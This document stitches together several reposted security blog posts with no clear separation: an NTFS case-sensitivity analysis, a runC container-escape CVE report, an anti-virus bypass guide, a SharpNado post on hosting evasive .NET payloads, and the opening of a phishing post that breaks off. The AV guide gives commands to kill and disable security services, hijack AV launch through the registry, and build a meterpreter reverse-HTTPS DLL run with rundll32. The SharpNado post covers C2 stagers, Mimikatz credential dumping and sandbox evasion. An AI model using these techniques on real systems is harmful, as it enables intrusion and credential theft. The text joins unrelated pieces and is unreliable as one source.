NTFS Case Sensitivity on Windows

Original text by Tyranid’s Lair

Back in February 2018 Microsoft released on interesting blog post (link) which introduced per-directory case-sensitive NTFS support. MS have been working on making support for WSL more robust and interop between the Linux and Windows side of things started off a bit rocky. Of special concern was the different semantics between traditional Unix-like file systems and Windows NTFS.

I always keep an eye out for new Windows features which might have security implications and per-directory case sensitivity certainly caught my attention. With 1903 not too far off I thought it was time I actual did a short blog post about per-directory case-sensitivity and mull over some of the security implications. While I’m at it why not go on a whistle-stop tour of case sensitivity in Windows NT over the years.

Disclaimer. I don’t currently and have never previously worked for Microsoft so much of what I’m going to discuss is informed speculation.

The Early Years

The Windows NT operating system has had the ability to have case-sensitive files since the very first version. This is because of the OS’s well known, but little used, POSIX subsystem. If you look at the documentation for CreateFile you’ll notice a flag, FILE_FLAG_POSIX_SEMANTICS which is used for the following purposes:«Access will occur according to POSIX rules. This includes allowing multiple files with names, differing only in case, for file systems that support that naming.»
It’s make sense therefore that all you’d need to do to get a case-sensitive file system is use this flag exclusively. Of course being an optional flag it’s unlikely that the majority of Windows software will use it correctly. You might wonder what the flag is actually doing, as CreateFile is not a system call. If we dig into the code inside KERNEL32 we’ll find the following:
BOOL CreateFileInternal(LPCWSTR lpFileName,…, DWORD dwFlagsAndAttributes){ // … OBJECT_ATTRIBUTES ObjectAttributes;if(dwFlagsAndAttributes & FILE_FLAG_POSIX_SEMANTICS){ ObjectAttributes.Attributes = 0;}else{ ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;} NtCreateFile(…,&ObjectAttributes,…);}
This code shows that if the FILE_FLAG_POSIX_SEMANTICS flag is set, the the Attributes member of the OBJECT_ATTRIBUTES structure passed to NtCreateFile is initialized to 0. Otherwise it’s initialized with the flag OBJ_CASE_INSENSITIVE. The OBJ_CASE_INSENSITIVE instructs the Object Manager to do a case-insensitive lookup for a named kernel object. However files do not directly get parsed by the Object Manager, so the IO manager converts this flag to the IO_STACK_LOCATION flag SL_CASE_SENSITIVE before handing it off to the file system driver in an IRP_MJ_CREATE IRP. The file system driver can then honour that flag or not, in the case of NTFS it honours it and performs a case-sensitive file search instead of the default case-insensitive search.
Aside. Specifying FILE_FLAG_POSIX_SEMANTICS supports one other additional feature of CreateFile that I can see. By specifying FILE_FLAG_BACKUP_SEMANTICS, FILE_FLAG_POSIX_SEMANTICS  and FILE_ATTRIBUTE_DIRECTORY in the dwFlagsAndAttributes parameter and CREATE_NEW as the dwCreationDisposition parameter the API will create a new directory and return a handle to it. This would normally require calling CreateDirectory, then a second call to open or using the native NtCreateFile system call.
NTFS always supported case-preserving operations, so creating the file AbC.txt will leave the case intact. However when it does an initial check to make sure the file doesn’t already exist if you request abc.TXT then NTFS would find it during a case-insensitive search. If the create is done case-sensitive then NTFS won’t find the file and you can now create the second file. This allows NTFS to support full case-sensitivity. 
It seems too simple to create files in a case-sensitive manner, just use the FILE_FLAG_POSIX_SEMANTICSflag or don’t pass OBJ_CASE_INSENSITIVE to NtCreateFile. Let’s try that using PowerShell on a default installation on Windows 10 1809 to see if that’s really the case.

Opening the file AbC.txt with OBJ_CASE_INSENSITIVE and without.

First we create a file with the name AbC.txt, as NTFS is case preserving this will be the name assigned to it in the file system. We then open the file first with the OBJ_CASE_INSENSITIVE attribute flag set and specifying the name all in lowercase. As expected we open the file and displaying the name shows the case-preserved form. Next we do the same operation without the OBJ_CASE_INSENSITIVE flag, however unexpectedly it still works. It seems the kernel is just ignoring the missing flag and doing the open case-insensitive. 
It turns out this is by design, as case-insensitive operation is defined as opt-in no one would ever correctly set the flag and the whole edifice of the Windows subsystem would probably quickly fall apart. Therefore honouring enabling support for case-sensitive operation is behind a Session Manager Kernel Registry valueObCaseInsensitive. This registry value is reflected in the global kernel variable, ObpCaseInsensitivewhich is set to TRUE by default. There’s only one place this variable is used, ObpLookupObjectName, which looks like the following:
NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes,…){ // … DWORD Attributes = ObjectAttributes->Attributes;if(ObpCaseInsensitive){ Attributes |= OBJ_CASE_INSENSITIVE;} // Continue lookup. }
From this code we can see if ObpCaseInsensitive set to TRUE then regardless of the Attribute flags passed to the lookup operation OBJ_CASE_INSENSITIVE is always set. What this means is no matter what you do you can’t perform a case-sensitive lookup operation on a default install of Windows. Of course if you installed the POSIX subsystem you’ll typically find the kernel variable set to FALSE which would enable case-sensitive operation for everyone, at least if they forget to set the flags. 
Let’s try the same test again with PowerShell but make sure ObpCaseInsensitive is FALSE to see if we now get the expected operation.

Running the same tests but with ObpCaseInsensitive set to FALSE. With OBJ_CASE_INSENSITIVE the file open succeeds, without the flag it fails with an error.

With the OBJ_CASE_INSENSITIVE flag set we can still open the file AbC.txt with the lower case name. However without specifying the flag we we get STATUS_OBJECT_NAME_NOT_FOUND which indicates the lookup operation failed.

Windows Subsystem for Linux

Let’s fast forward to the introduction of WSL in Windows 10 1607. WSL needed some way of representing a typical case-sensitive Linux file system. In theory the developers could have implemented it on top of a case-insensitive file system but that’d likely introduce too many compatibility issues. However just disabling ObCaseInsensitive globally would likely introduce their own set of compatibility issues on the Windows side. A compromise was needed to support case-sensitive files on an existing volume.
AsideIt could be argued that Unix-like operating systems (including Linux) don’t have a case-sensitive file system at all, but a case-blind file system. Most Unix-like file systems just treat file names on disk as strings of opaque bytes, either the file name matches a sequence of bytes or it doesn’t. The file system doesn’t really care whether any particular byte is a lower or upper case character. This of course leads to interesting problems such as where two file names which look identical to a user can have different byte representations resulting in unexpected failures to open files. Some file systems such macOS’s HFS+ use Unicode Normalization Forms to make file names have a canonical byte representation to make this easier but leads to massive additional complexity, and was infamously removed in the successor APFS.
This compromise can be found back in ObpLookupObjectName as shown below:
NTSTATUS ObpLookupObjectName(POBJECT_ATTRIBUTES ObjectAttributes,…){ // … DWORD Attributes = ObjectAttributes->Attributes;if(ObpCaseInsensitive && KeGetCurrentThread()->CrossThreadFlags.ExplicitCaseSensitivity == FALSE){ Attributes |= OBJ_CASE_INSENSITIVE;} // Continue lookup. }
In the code we now find that the existing check for ObpCaseInsensitive is augmented with an additional check on the current thread’s CrossThreadFlags for the ExplicitCaseSensitivity bit flag. Only if the flag is not set will case-insensitive lookup be forced. This looks like a quick hack to get case-sensitive files without having to change the global behavior. We can find the code which sets this flag in NtSetInformationThread.
NTSTATUS NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength){switch(ThreadInformationClass){case ThreadExplicitCaseSensitivity:if(ThreadInformationLength !=sizeof(DWORD))return STATUS_INFO_LENGTH_MISMATCH; DWORD value =*((DWORD*)ThreadInformation);if(value){if(!SeSinglePrivilegeCheck(SeDebugPrivilege, PreviousMode))return STATUS_PRIVILEGE_NOT_HELD;if(!RtlTestProtectedAccess(Process, 0x51))return STATUS_ACCESS_DENIED;}if(value) Thread->CrossThreadFlags.ExplicitCaseSensitivity = TRUE;else Thread->CrossThreadFlags.ExplicitCaseSensitivity = FALSE;break;} // … }
Notice in the code to set the the ExplicitCaseSensitivity flag we need to have both SeDebugPrivilege and be a protected process at level 0x51 which is PPL at Windows signing level. This code is from Windows 10 1809, I’m not sure it was this restrictive previously. However for the purposes of WSL it doesn’t matter as all processes are gated by a system service and kernel driver so these checks can be easily bypassed. As any new thread for a WSL process must go via the Pico process driver this flag could be automatically set and everything would just work.

Per-Directory Case-Sensitivity

A per-thread opt-out from case-insensitivity solved the immediate problem, allowing WSL to create case-sensitive files on an existing volume, but it didn’t help Windows applications inter-operating with files created by WSL. I’m guessing NTFS makes no guarantees on what file will get opened if performing a case-insensitive lookup when there’s multiple files with the same name but with different case. A Windows application could easily get into difficultly trying to open a file and always getting the wrong one. Further work was clearly needed, so introduced in 1803 was the topic at the start of this blog, Per-Directory Case Sensitivity. 
The NTFS driver already handled the case-sensitive lookup operation, therefore why not move the responsibility to enable case sensitive operation to NTFS? There’s plenty of spare capacity for a simple bit flag. The blog post I reference at the start suggests using the fsutil command to set case-sensitivity, however of course I want to know how it’s done under the hood so I put fsutil from a Windows Insider build into IDA to find out what it was doing. Fortunately changing case-sensitivity is now documented. You pass the FILE_CASE_SENSITIVE_INFORMATION structure with the FILE_CS_FLAG_CASE_SENSITIVE_DIRset via NtSetInformationFile to a directory. with the FileCaseSensitiveInformation information class. We can see the implementation for this in the NTFS driver.
NTSTATUS NtfsSetCaseSensitiveInfo(PIRP Irp, PNTFS_FILE_OBJECT FileObject){if(FileObject->Type != FILE_DIRECTORY){return STATUS_INVALID_PARAMETER;} NSTATUS status = NtfsCaseSensitiveInfoAccessCheck(Irp, FileObject);if(NT_ERROR(status))return status; PFILE_CASE_SENSITIVE_INFORMATION info = (PFILE_CASE_SENSITIVE_INFORMATION)Irp->AssociatedIrp.SystemBuffer;if(info->Flags & FILE_CS_FLAG_CASE_SENSITIVE_DIR){if((g_NtfsEnableDirCaseSensitivity & 1)== 0)return STATUS_NOT_SUPPORTED;if((g_NtfsEnableDirCaseSensitivity & 2)&&!NtfsIsFileDeleteable(FileObject)){return STATUS_DIRECTORY_NOT_EMPTY;} FileObject->Flags |= 0x400;}else{if(NtfsDoesDirHaveCaseDifferingNames(FileObject)){return STATUS_CASE_DIFFERING_NAMES_IN_DIR;} FileObject->Flags &=~0x400;}return STATUS_SUCCESS;}
There’s a bit to unpack here. Firstly you can only apply this to a directory, which makes some sense based on the description of the feature. You also need to pass an access check with the call NtfsCaseSensitiveInfoAccessCheck. We’ll skip over that for a second. 
Next we go into the actual setting or unsetting of the flag. Support for Per-Directory Case-Sensitivity is not enabled unless bit 0 is set in the global g_NtfsEnableDirCaseSensitivity variable. This value is loaded from the value NtfsEnableDirCaseSensitivity in HKLM\SYSTEM\CurrentControlSet\Control\FileSystem, the value is set to 0 by default. This means that this feature is not available on a fresh install of Windows 10, almost certainly this value is set when WSL is installed, but I’ve also found it on the Microsoft app-development VMwhich I don’t believe has WSL installed, so you might find it enabled in unexpected places. The g_NtfsEnableDirCaseSensitivity variable can also have bit 1 set, which indicates that the directory must be empty before changing the case-sensitivity flag (checked with NtfsIsFileDeleteable) however I’ve not seen that enabled. If those checks pass then the flag 0x400 is set in the NTFS file object.
If the flag is being unset the only check made is whether the directory contains any existing colliding file names. This seems to have been added recently as when I originally tested this feature in an Insider Preview you could disable the flag with conflicting filenames which isn’t necessarily sensible behavior.
Going back to the access check, the code for NtfsCaseSensitiveInfoAccessCheck looks like the following:
NTSTATUS NtfsCaseSensitiveInfoAccessCheck(PIRP Irp, PNTFS_FILE_OBJECT FileObject){if(NtfsEffectiveMode(Irp)|| FileObject->Access & FILE_WRITE_ATTRIBUTES){ PSECURITY_DESCRIPTOR SecurityDescriptor; SECURITY_SUBJECT_CONTEXT SubjectContext; SeCaptureSubjectContext(&SubjectContext); NtfsLoadSecurityDescriptor(FileObject,&SecurityDescriptor);if(SeAccessCheck(SecurityDescriptor,&SubjectContext FILE_ADD_FILE | FILE_ADD_SUBDIRECTORY | FILE_DELETE_CHILD)){return STATUS_SUCCESS;}}return STATUS_ACCESS_DENIED;}
The first check ensures the file handle is opened with FILE_WRITE_ATTRIBUTES access, however that isn’t sufficient to enable the flag. The check also ensures that if an access check is performed on the directory’s security descriptor that the caller would be granted FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY and FILE_DELETE_CHILD access rights. Presumably this secondary check is to prevent situations where a file handle was shared to another process with less privileges but with FILE_WRITE_ATTRIBUTES rights. 
If the security check is passed and the feature is enabled you can now change the case-sensitivity behavior, and it’s even honored by arbitrary Windows applications such as PowerShell or notepad without any changes. Also note that the case-sensitivity flag is inherited by any new directory created under the original.

Showing setting case sensitive on a directory then using Set-Content and Get-Content to interact with the files.

Security Implications of Per-Directory Case-Sensitivity

Let’s get on to the thing which interests me most, what’s the security implications on this feature? You might not immediately see a problem with this behavior. What it does do is subvert the expectations of normal Windows applications when it comes to the behavior of file name lookup with no way of of detecting its use or mitigating against it. At least with the FILE_FLAG_POSIX_SEMANTICS flag you were only introducing unexpected case-sensitivity if you opted in, but this feature means the NTFS driver doesn’t pay any attention to the state of OBJ_CASE_INSENSITIVE when making its lookup decisions. That’s great from an interop perspective, but less great from a correctness perspective.
Some of the use cases I could see this being are problem are as follows:

  • TOCTOU where the file name used to open a file has its case modified between a security check and the final operation resulting in the check opening a different file to the final one. 
  • Overriding file lookup in a shared location if the create request’s case doesn’t the actual case of the file on disk. This would be mitigated if the flag to disable setting case-sensitivity on empty directories was enabled by default.
  • Directory tee’ing, where you replace lookup of an earlier directory in a path based on the state of the case-sensitive flag. This at least is partially mitigated by the check for conflicting file names in a directory, however I’ve no idea how robust that is.

I found it interesting that this feature also doesn’t use RtlIsSandboxToken to check the caller’s not in a sandbox. As long as you meet the access check requirements it looks like you can do this from an AppContainer, but its possible I missed something.  On the plus side this feature isn’t enabled by default, but I could imagine it getting set accidentally through enterprise imaging or some future application decides it must be on, such as Visual Studio. It’s a lot better from a security perspective to not turn on case-sensitivity globally. Also despite my initial interest I’ve yet to actual find a good use for this behavior, but IMO it’s only a matter of time 🙂

Реклама

SensorsTechForum NEWSTHREAT REMOVALREVIEWSFORUMSSEARCH NEWS CVE-2019-5736 Linux Flaw in runC Allows Unauthorized Root Access

Original text by Milena Dimitrova

CVE-2019-5736 is yet another Linux vulnerability discovered in the core runC container code. The runC tool is described as a lightweight, portable implementation of the Open Container Format (OCF) that provides container runtime.

CVE-2019-5736 Technical Details

The security flaw potentially affects several open-source container management systems. Shortly said, the flaw allows attackers to get unauthorized, root access to the host operating system, thus escaping Linux container.

In more technical terms, the vulnerability:

allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe, as explained in the official advisory.

The CVE-2019-5736 vulnerability was unearthed by open source security researchers Adam Iwaniuk and Borys Popławski. However, it was publicly disclosed by Aleksa Sarai, a senior software engineer and runC maintainer at SUSE Linux GmbH on Monday.

“I am one of the maintainers of runc (the underlying container runtime underneath Docker, cri-o, containerd, Kubernetes, and so on). We recently had a vulnerability reported which we have verified and have a
patch for,” Sarai wrote.

The researcher also said that a malicious user would be able to run any command (it doesn’t matter if the command is not attacker-controlled) as root within a container in either of these contexts:

– Creating a new container using an attacker-controlled image.
– Attaching (docker exec) into an existing container which the attacker had previous write access to.

It should also be noted that CVE-2019-5736 isn’t blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora[++], due to the fact that container processes appear to be running as container_runtime_t.

Nonetheless, the flaw is blocked through correct use of user namespaces where the host root is not mapped into the container’s user namespace.

 Related: CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros

CVE-2019-5736 Patch and Mitigation

Red Hat says that the flaw can be mitigated when SELinux is enabled in targeted enforcing mode, a condition which comes by default on RedHat Enterprise Linux, CentOS, and Fedora.

There’s also a patch released by the maintainers of runC available on GitHub. Please note that all projects which are based on runC should apply the patches themselves.

Who’s Affected?

Debian and Ubuntu are vulnerable to the vulnerability, as well as container systems running LXC, a Linux containerization tool prior to Docker. Apache Mesos container code is also affected.

Companies such as Google, Amazon, Docker, and Kubernetes are have also released fixes for the flaw.

10 Evil User Tricks for Bypassing Anti-Virus

( Original text by Scott Sutherland )

Introduction

Many anti-virus solutions are deployed with weak configurations that provide end users with the ability to quickly disable or work around the product if they wish. As a result, even users without super hacker “skillz” can run malicious executables (intentionally or not) without having to actually modify them in any way to avoid detection. Naturally, such techniques lend themselves well to penetration testing. This blog will provide a brief overview of 10 issues to watch out for. It should be interesting to administrators looking for basic weaknesses in their current implementations. However, it will most likely be less interesting to the veteran pentester. Short disclaimer: This is far from complete, and truth be told there is no perfect anti-anything. In spite of that, I hope that you enjoy the read. I’ve provided a summary of what will be covered for those who don’t feel like reading the whole blog first.

Add Anti-Virus Policy Exceptions

A fun option that occasionally works is creating custom exceptions to the anti-virus solution’s policy. For example, an end user could create an exception that would allow all files with the “.exe” extension to run on the system. As a result, most malware and “hacker tools” would not get blocked or deleted. For an example of how this could be accomplished in the Symantec End Point Protection product, please refer to the following Symantec help page: http://www.symantec.com/business/support/index?page=content&id=TECH104326

Disable Anti-Virus via the GUI

This is less common in recent years, but historically non-administrative users had the privileges to disable many anti-virus solutions via the GUI interface. It used to be as simple as right-clicking the taskbar icon and choosing disable. As you can imagine, the skill level required to execute this bypass is low, but the risk to an organization is high.

Terminate Anti-Virus Processes

Some anti-virus solutions consist of multiple services that like to continuously restart each other. That’s when terminating the process before disabling a service can come in handy. Usually the taskkill command can be used. That’s essentially what the Metasploit post module “killav” does. A closer look at the module can be found here: https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb You can issue the command below to forcefully kill a task manually with taskkill :

Taskkill /F /IM avprocess.exe

Stop and Disable Anti-Virus Services

In some cases users don’t have the privileges to disable anti-virus via the GUI, but they do have control over the associated services. If that is the case, then anti-virus services can usually be stopped and disabled. This can be accomplished via services.msc, the “sc” command, or the “net stop” command. However, always make sure to be a good little pentester and restore the services to their original state before logging out of the system. To stop a Windows service issue the following command:

net stop “service name”

To disable a Windows service issue the following command:

sc config "service name" start= disabled

The services.msc console can be also be used to stop and disabled services via a GUI interface.  It can be accessed by navigating to start->run, and typing “services.msc”.

Disable Anti-Virus via Debugger Setting

This is a very cool trick that Khai Tran told me about. The original article he referenced can be found at http://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx. I recommend taking a look at it. In short, it says that users have the ability to prevent anti-virus from running by setting a custom debugger in the registry. When the operating system or user attempts to execute anti-virus the specified debugger is executed instead. Very clever, Internet, very clever. Apparently this has been used by malware developers for years. The basic steps for conducting the attack have been provided below. Please note that these were taken from the link above.

  1. Run regedit.exe
  2. Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
  3. Create a new key (example: calc.exe)
  4. Create a new string value under your exe. The name of the string value is ‘Debugger’, and the value is svchost.exe (or anything)

Uninstall Anti-Virus Software

Although I don’t recommend uninstalling anti-virus during a penetration test, it can still be considered a valid bypass method. Some solutions may require a password before the uninstall process can begin. In those instances, the password can usually be found in the registry or an ini file on the system. However, other bypass methods are available like the one described within the article link below. It recommends simply terminating the “msiexec.exe” process when prompted for the uninstall password. http://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/

Execute from a UNC Path or Removable Media

Some solutions are not configured to scan or prevent the execution of malicious binaries from SMB or WebDAV when accessed via the UNC path. It’s strange, but true. As a result, attackers can simply map an evil share containing backdoors, hacker tools etc., and execute malware to their hearts’ content. I guess some people are under the impression that malware can’t be stored on network drives. Similarly, some solutions are not configured to scan or prevent the execution of binaries from removable media such as an SD card, iPod, or USB drive. It’s pretty common to drop evil USB drives during onsite social engineering engagements, so this one scares me a little.

Execute from Alternative Data Streams

Alternative data streams allow users to store data in a file via an extended file name. Microsoft says, “By default, all data is stored in a file’s main unnamed data stream, but by using the syntax ‘file:stream’, you are able to read and write to alternates.”. Malware commonly stores text, payloads, and even full binaries in alternative streams. Historically anti-virus solutions have missed a lot of malware that uses alternative data streams. However, AV has gotten much better at finding them over the years. You can scan your system for files containing alternative data streams with streams (http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx) tool from the Sysinternals toolkit. Also, you can try the technique out for yourself using the basic example below. Echo the text “Hello world” into a new file’s main data stream:

echo Hello world > file

Echo the text “Hello Evil” into an alternative data stream:

echo Hello evil > file:evil

Read from the file’s main data stream:

type file

Read from the file’s alternative data stream:

type file:evil

Execute from a DLL

In some cases I’ve found that anti-virus solutions miss malicious code if it’s placed into a DLL instead of an EXE file. I’ve provide a basic example of how to generate and run a DLL using the Metasploit Framework below. Create an evil DLL containing a meterpreter payload with the msfpayload command:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D > evil.dll

Run the DLL main function with Rundll32 command:

Rundll32 evil.dll, @DllMain12

Execute from Outside the File System

Apparently, some malware stores and executes code from outside of the file system on the disk. It sounds like you can access the code by referencing the physical drive in some way. I haven’t had time to really explore this one, but it is touched in the book “Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software“. Excellent read in my opinion. I’ll share once I know more. If anyone has the details let me know.

Wrap Up

Hopefully you’ve had some fun experimenting and have a better understanding of the level of protection most anti-virus solutions truly offer. I’m working on a few other blogs that focus on bypassing anti-virus via source code, binary, and process manipulation that should also add some insight into common bypass methods. In the meantime, have fun and hack responsibility.

SharpNado — Teaching an old dog evil tricks using .NET Remoting or WCF to host smarter and dynamic payloads

( Original text by Shawn Jones )

Disclaimer:

I am not a security researcher, expert, or guru.  If I misrepresent anything in this article, I assure you it was on accident and I will gladly make any updates if needed.  This is intended for educational purposes only.

TL;DR:

SharpNado is proof of concept tool that demonstrates how one could use .Net Remoting or Windows Communication Foundation (WCF) to host smarter and dynamic .NET payloads.  SharpNado is not meant to be a full functioning, robust, payload delivery system nor is it anything groundbreaking. It’s merely something to get the creative juices flowing on how one could use these technologies or others to create dynamic and hopefully smarter payloads. I have provided a few simple examples of how this could be used to either dynamically execute base64 assemblies in memory or dynamically compile source code and execute it in memory.  This, however, could be expanded upon to include different kinds of stagers, payloads, protocols, etc.

So, what is WCF and .NET Remoting?

While going over these is beyond the scope of this blog, Microsoft describes Windows Communication Foundation as a framework for building service-oriented applications and .NET Remoting as a framework that allows objects living in different AppDomains, processes, and machines to communicate with each other.  For the sake of simplicity, let’s just say one of its use cases is it allows two applications living on different systems to share information back and forth with each other. You can read more about them here:

WCF

.NET Remoting

 A few examples of how this could be useful:

1. Smarter payloads without the bulk

What do I mean by this?  Since WCF and .NET Remoting are designed for communication between applications, it allows us to build in logic server side to make smarter decisions depending on what information the client (stager) sends back to the server.  This means our stager can still stay small and flexible but we can also build in complex rules server side that allow us to change what the stager executes depending on environmental situations.  A very simple example of payload logic would be the classic, if domain user equals X fire and if not don’t.  While this doesn’t seem very climatic, you could easily build in more complex rules.  For example, if the domain user equals X,  the internal domain is correct and user X has administrative rights, run payload Y or if user X is a standard user, and the internal domain is correct, run payload Z.  Adding to this, we could say if user X is correct, but the internal domain is a mismatch, send back the correct internal domain and let me choose if I want to fire the payload or not.  These back-end rules can be as simple or complex as you like.  I have provided a simple sandbox evasion example with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.

2. Payloads can be dynamic and quickly changed on the fly:

Before diving into this, let’s talk about some traditional ways of payload delivery first and then get into how using a technology like WCF or .NET Remoting could be helpful.  In the past and even still today, many people hard-code their malicious code into the payload sent, often using some form of encryption that only decrypts and executes upon meeting some environmental variable or often they use a staged approach where the non-malicious stager reaches out to the web, retrieves our malicious code and executes it as long as environmental variables align.  The above examples are fine and still work well even today and I am in no way tearing these down at all or saying better ways don’t exist.  I am just using them as a starting point to show how I believe the below could be used as a helpful technique and up the game a bit, so just roll with it.

So what are a few of the pain points of the traditional payload delivery methods?  Well with the hard-coded payload, we usually want to keep our payloads small so the complexity of our malicious code we execute is minimal, hence the reason many use a stager as the first step of our payload.  Secondly, if we sent out 10 payloads and the first one gets caught by end point protection, then even if the other 9 also get executed by their target, they too will fail.  So, we would have to create a new payload, pick 10 new targets and again hope for the best.

Using WCF or .NET Remoting we can easily create a light stager that allows us to quickly switch between what the stager will execute.  We can do this either by back-end server logic as discussed above or by quickly setting different payloads within the SharpNado console.  So, let’s say our first payload gets blocked by endpoint protection. Since we already know our stager did try to execute our first payload due to the way the stager/server communicate we can use our deductive reason skills to conclude that our stager is good but the malicious code it tried to execute got caught. We can quickly, in the console, switch our payload to our super stealthy payload and the next time any of the stagers execute, the super stealthy payload will fire instead of the original payload which got caught. This saves us the hassle of sending a new payload to new targets.  I have provided simple examples of how to do this with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.

3. Less complex to setup:

You might be thinking to yourself that I could do all this with mod rewrite rules and while that is absolutely true, mod rewrite rules can be a little more complex and time consuming to setup.  This is not meant to replace mod rewrite or anything.  Long live mod rewrite!  I am just pointing out that writing your back-end rules in a language like C# can allow easier to follow rules, modularization, and data parsing/presentation.

4. Payloads aren’t directly exposed:

What do I mean by this?  You can’t just point a web browser at your server IP and see payloads hanging out in some open web directory to be analyzed/downloaded.  In order to capture payloads, you would have to have some form of MiTM between the stager and the server.  This is because when using WCF or .NET Remoting, the malicious code (payload) you want your stager to execute along with any complex logic we want to run sits behind our remote server interface.  That remote interface exposes only the remote server side methods which can then be called by your stager. Now, if at this point you are thinking WTF, I encourage you to review the above links and dive deeper into how WCF or .NET Remoting works.  As there are many people who explain it and understand it better than I ever will.

Keep in mind, that you would still want to encrypt all of your payloads before they are sent over the wire to better protect your payloads.  You would also want to use other evasion techniques, for example, amount of times the stager has been called or how much time has passed since the stager was sent, etc.

5. Been around awhile:

.NET Remoting and WCF have been around a long time. There are tons of examples out there from developers on lots of ways to use this technology legitimately and it is probably a pretty safe bet that there are still a lot of organizations using this technology in legit applications. Like you, I like exposing ways one might do evil with things people use for legit purposes and hopefully bring them to light. Lastly, the above concepts could be used with other technologies as well, this just highlights one of many ways to accomplish the same goal.
Examples:

Simple dynamic + encrypted payload example:

In the first example we will use SharpNado to host a base64 version of SharpSploitConsole and execute Mimikatz logonpasswords function.  First, we will setup our XML payload template that the server will be able to use when our stager executes.  Payload template examples can be found on GitHub in the Payloads folder.  Keep in mind that the ultimate goal would be to have many payload templates already setup that you could quickly switch between. The below screenshots give an example of what the template would look like.

Template example:

This is what it would look like after pasting in base64 code and setting arguments:

Once we have our template payload setup, we can go ahead and run SharpNado_x64.exe (with Administrator rights) and setup our listening service that our stager will call out to. In this example we will use WCF over HTTP on port 8080.  So, our stager should be setup to connect to http://192.168.55.250:8080/Evil.  I would like to note two things here.  First is that with a little bit of work upfront server side, this could be modified to support HTTPS and secondly, SharpNado does not depend on the templates being setup prior to running.  You can add/delete/modify templates any time while the server is running using whatever text editor you would like.

Now let’s see what payloads we currently have available.  Keep in mind you may use any naming scheme you would like for your payloads.  I suggest naming payloads and stagers what makes most sense to you.  I only named them this way to make it easier to follow along.

In this example I will be using the b64SharpSploitConsole payload and have decided that I want the payload to be encrypted server side and decrypted client side using the super secure password P@55w0rd.  I would like to note here (outlined in red) that it is important for you to set your payload directory correctly.  This directory is what SharpNado uses to pull payloads.  A good way to test this is to run the command «show payloads» and if your payloads show up, you know you set it correctly.

Lastly, we will setup our stager.  Since I am deciding to encrypt our payload, I will be using the example SharpNado_HTTP_WCF_Base64_Encrypted.cs stager example found in the Stagers folder on GitHub.  I will simply be compiling this and running the stager exe but this could be delivered via .NetToJavaScript or by some other means if you like.

Now that we have compiled our stager, we will start the SharpNado service by issuing the «run» command.  This shows us what interface is up and what the service is listening on, so it is good to check this to make sure again, that everything is setup correctly.

Now when our stager gets executed, we should see the below.

And on our server side we can see that the encrypted server method was indeed called by our stager.  Keep in mind, we can build in as much server logic as we like.  This is just an example.

Now for demo purposes, I will quickly change the payload to b64NoPowershell_ipconfig_1 and when we run the same exact stager again, we instead will show our ipconfig information.  Again, this is only for simple demonstration of how you can quickly change out payloads.

Simple sandbox evade example:

In this second example I will go over an extremely watered-down version of how you could use SharpNado to build smarter payloads.  The example provided with SharpNado is intended to be a building block and could be made as complex or simple as you like.  Since our SharpNado service is already running from or previous example, all we need to do is set our payloads to use in the SharpNado console.  For this example, I again will be using the same payloads from above. I will run the b64SharpSploitConsole payload if we hit our correct target and the b64NoPowershell_ipconfig_1 payload if we don’t hit our correct target.

Looking at our simple stager example below we can see that if the user anthem is who executed our stager, the stager will send a 1 back to the SharpNado service or a 0 will be sent if the user isn’t anthem.  Please keep in mind you could however send back any information you like, including username, domain, etc.

Below is a partial screenshot of the example logic I provided with SharpNado. Another thing I want to point out is that I provided an example of how you could count how many times the service method has been called and depending on threshold kill the service.  This would be an example of building in counter measures if we think we are being analyzed and/or sand-boxed.

Moving forward when we run our stager with our anthem user, we can see that we get a message server side and that the correct payload fired.

Now if I change the user to anthem2 and go through the process again.  We can see that our non-malicious payload fires.  Keep in mind, the stagers could be setup in a way that values aren’t hard coded in.  You could have a list of users on your server and have your stager loop through that list and if anything matches, execute and if not do something else.  Again, it’s really up to your imagination.

Compile source code on the fly example:

Let’s do one more quick example but using C# source code.  This stager method will use System.CodeDom.Compiler which does shortly drop stuff to disk right before executing in memory but one could create a stager that takes advantage of the open source C# and VB compiler Roslyn to do the same thing.  This doesn’t touch disk as pointed out by @cobbr_io in his SharpShell blog post.

The below payload template example runs a No PowerShell payload that executes ipconfig but I also provided an example that would execute a PowerShell Empire or PowerShell Cobalt Strike Beacon on GitHub:

Then we will setup our stager.  In this example I will use the provided GitHub stager SharpNado_HTTP_WCF_SourceCompile.cs.

We will then take our already running SharpNado service and quickly add our payload.

Now when we run our stager, we should see our ipconfig output.

Conclusion:

Hopefully this has been a good intro to how one could use WCF or .NET Remoting offensively or at least sparked a few ideas for you to research on your own. I am positive that there are much better ways to accomplish this, but it was something that I came across while doing other research and I thought it would be neat to whip up a small POC.  Till next time and happy hacking!

Link to tools:

SharpNado — https://github.com/anthemtotheego/SharpNado

SharpNado Compiled Binaries — https://github.com/anthemtotheego/SharpNado/tree/master/CompiledBinaries

SharpSploitConsole — https://github.com/anthemtotheego/SharpSploitConsole

SharpSploit — https://github.com/cobbr/SharpSploit

Phishing tales: Microsoft Access Macro (.MAM) shortcuts

( Original text by Steve Borosh )

reviously, I blogged about the ability to create malicious .ACCDE Microsoft Access Database files and using them as a phishing vector. This post expands on using the ACCDE format and will be introducing Microsoft Access Macro “MAM” shortcuts to gain access via phishing. The MAM file is basically a shortcut that links directly to a Microsoft Access macro. It has been around since at least Office 97.

Creating a MAM

